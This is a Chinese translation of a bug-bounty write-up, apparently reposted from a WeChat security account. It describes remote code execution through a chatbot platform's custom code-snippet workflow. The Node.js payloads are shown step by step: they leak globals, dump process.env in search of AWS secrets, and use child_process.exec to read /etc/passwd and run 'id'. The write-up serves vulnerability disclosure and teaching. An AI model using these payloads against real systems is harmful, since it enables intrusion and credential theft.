本文笔者将介绍在一个流行的聊天机器人平台上发现的价值4位数$的远程代码执行问题,让我们开始吧。
介绍:
近年来,人工智能聊天机器人在各行各业越来越受欢迎,它们提供高效的客户服务,增强用户参与度,并简化业务运营。这些智能系统由复杂的算法和自然语言处理功能驱动,旨在与用户无缝互动。然而,与任何软件一样,它们也无法免受安全漏洞的影响。
最严重的安全漏洞类型之一是远程代码执行 (RCE),它允许攻击者在目标系统上执行任意代码。RCE 漏洞会带来重大风险,因为它们可能导致未经授权的访问、数据泄露以及对受影响系统的完全控制。
在最近的一次安全评估中,我发现了一个广泛使用的 AI 聊天机器人平台中的远程代码执行漏洞。此漏洞位于聊天机器人的自定义工作流响应代码中,此功能允许开发人员通过创建定制的工作流来扩展机器人的功能。虽然这些工作流是增强聊天机器人交互的强大工具,但如果没有得到适当的保护,它们也可能带来安全风险。
在本文中,我将分享发现此漏洞的历程,深入探讨技术细节,并讨论其潜在影响。
背景:
目标是一个业务管理平台,该平台具有多个团队管理、电子邮件管理、聊天机器人等功能。
在浏览聊天机器人自动化特有的多个功能时,引起我注意的功能之一是“从头开始”选项,如下所示。
现在,此选项“从头开始”由多个用于自定义聊天机器人自动化的选项组成,例如:工作流、webhook 和自定义代码片段,如下图所示。
查看了其他选项后,我开始探索“运行代码片段”选项。
技术细节:
此功能包含可自定义的代码,用于从聊天机器人获取自定义响应,其中包含示例函数,例如带有 botMessage 参数的 responseJson,其默认值为“Hello World”
默认代码片段如下所示:
const
responseJson = {
botMessage
: “Hello world” ,
responseExpected :
false
}
由于聊天机器人是使用 Node 18.x 框架构建的,我尝试获取/检查全局变量(如__dirname、__filename)的响应,并尝试执行eval(7*7)之类的函数来代替“ Hello World ”。
这是使用全局变量和聊天机器人响应时的响应代码的样子。
__dirname
const
responseJson = {
botMessage
: __dirname,
responseExpected :
false
}
您可以观察到我在聊天机器人中得到了“ /var/task ”作为输出,这意味着全局变量__dirname在内部执行,并且我们得到了成功的输出。
对此漏洞深入挖掘利用:
__filename
const
responseJson = {
botMessage
: __filename,
responseExpected :
false
}
它也成功执行并返回输出“ /var/task/Template.js ”
eval(7*7)
const
responseJson = {
botMessage
:
eval
(
7
*
7
),
responseExpected
:
false
}
但这些不足以证明为RCE。
此时,我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏。
您可以在这里找到官方文档:https://nodejs .org/api/globals.html#process
例如process.env、process.argv process.execPath、process.memoryUsage() 、 process.getuid() 、 process.cpuUsage()等
让我们看看这些全局对象的响应:
process.env
const
responseJson = {
botMessage
: process.env ,
responseExpected :
false
}
检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。
process.platform
const
responseJson = {
botMessage
:
process.platform,
responseExpected
:
false
}
process.execPath
const
responseJson = {
botMessage
:
process.execPath,
responseExpected
:
false
}
process.memoryUsage()
const
responseJson = {
botMessage
:
process.memoryUsage(),
responseExpected
:
false
}
获得完整的 RCE:
到目前为止,我们已经获得了一些好的线索,例如我们获得了几乎每个节点全局对象的响应以及对环境变量的访问。
但是,我仍然在寻找完整的 RCE,并尝试为其构建一些payload,经过多次尝试、调试和与同事讨论后,我能够创建一个完整的RCE payload,如下所示:
const
{ exec } =
require
(
'child_process'
);
exports.main =
(
event, callback
) =>
{
exec(
'head /etc/passwd'
,
(
error, stdout, stderr
) =>
{
if
(error) {
console
.error(exec error: ${error});
return
;
}
if
(stderr) {
console
.error(stderr: ${stderr});
return
;
}
const
responseJson = {
botMessage: stdout,
responseExpected:
false
};
callback(responseJson);
});
};
以下是它成功执行的过程。
获取 /etc/passwd 文件(读取本地文件)
运行“ id ”命令
到这里我已经成功获取了完整的 RCE 。
以上内容由白帽子左一翻译并整理。原文:https://varmaanu001.medium.com/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3
原文始发于微信公众号(白帽子左一):挖掘 AI 聊天机器人工作流程中的RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论